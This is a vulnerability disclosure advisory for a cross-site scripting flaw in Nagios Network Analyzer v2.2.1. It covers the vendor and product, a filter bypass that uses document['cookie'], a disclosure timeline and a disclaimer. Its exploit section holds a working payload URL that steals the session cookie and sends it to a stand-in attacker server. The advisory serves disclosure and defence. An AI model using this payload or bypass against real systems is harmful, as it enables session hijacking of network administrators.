Nagios NA v2.2.1 XSS

[hyp3rlinx () lycos com]

[+] Credits: John Page -HYP3RLINX       

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/NAGIOS-NA-v2.2.1-XSS.txt

[+] ISR: ApparitionSec



Vendor:
===============
www.nagios.com



Product:
==============================
Nagios Network Analyzer v2.2.1

Netflow Analysis, Monitoring, and Bandwidth Utilization Software

Network Analyzer provides an in-depth look at all network traffic sources and potential security threats allowing system
admins to quickly gather high-level information regarding the health of the network as well as highly granular data for
complete and thorough network analysis.




Vulnerability Type:
==========================
Cross Site Scripting (XSS)



CVE Reference:
==============
N/A



Vulnerability Details:
=====================

Nagios NA has XSS vector which enables attackers to inject client-side scripts into web pages viewed by other users. A 
cross-site scripting vulnerability may be
used by attackers to bypass access controls such as the same-origin policy. The application seems to filter injecting 
"document.cookie", however we can bypass
this by using document['cookie'] in its place.




Exploit code(s):
===============


Steal Session Cookie

http://victim-server/nagiosna/index.php/sources/queries/1?q[begindate]=-24+hours&q[enddate]=-1+second&q[aggregate_csv]=&q[qid]=%27%27;window.open(%22http://attacker-server/c.php?c=%22%2bdocument[%27cookie%27])//




Disclosure Timeline:
======================================
Vendor Notification:  July 20, 2016
Vendor Acknowledgement: July 21, 2016
Vendor Fix / Release: August 1, 2016
August 8, 2016 : Public Disclosure



Exploitation Technique:
=======================
Remote



Severity Level:
================
Low



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use 
or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by 
reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided 
that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no 
responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security 
related information
or exploits by the author or elsewhere.

HYP3RLINX